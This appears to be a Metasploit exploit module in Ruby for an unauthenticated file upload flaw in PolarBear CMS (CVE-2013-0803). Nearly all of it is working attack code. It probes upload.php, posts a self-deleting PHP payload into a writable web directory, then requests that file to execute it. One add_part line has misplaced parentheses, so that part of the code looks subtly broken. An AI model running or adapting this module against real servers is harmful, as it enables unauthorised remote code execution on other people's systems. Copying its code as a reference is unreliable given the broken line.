102 lines
3.1 KiB
Ruby
102 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PolarBear CMS PHP File Upload Vulnerability',
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'Description' => %q{
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This module exploits a file upload vulnerability found in PolarBear CMS
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By abusing the upload.php file, a malicious user can upload a file to a temp
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directory without authentication, which results in arbitrary code execution.
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},
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'Author' =>
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[
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'Fady Mohamed Osman' # @Fady_Osman
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-0803' ],
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[ 'OSVDB', '90627' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 21 2012'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
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OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
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], self.class)
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end
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def check
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uri = target_uri.path
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
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})
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if not res or res.code != 200
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return Exploit::CheckCode::Safe
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end
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return Exploit::CheckCode::Appears
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end
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def exploit
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uri = target_uri.path
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upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")
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peer = "#{rhost}:#{rport}"
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@payload_name = "#{rand_text_alpha(5)}.php"
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php_payload = get_write_exec_payload(:unlink_self=>true)
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data = Rex::MIME::Message.new
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data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
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data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\""))
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post_data = data.to_s
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print_status("Uploading payload #{@payload_name}")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if not res or res.code != 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
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end
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upload_uri = "#{upload_dir}#{@payload_name}"
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print_status("Executing payload #{@payload_name}")
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res = send_request_raw({
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'uri' => upload_uri,
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'method' => 'GET'
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})
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end
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end
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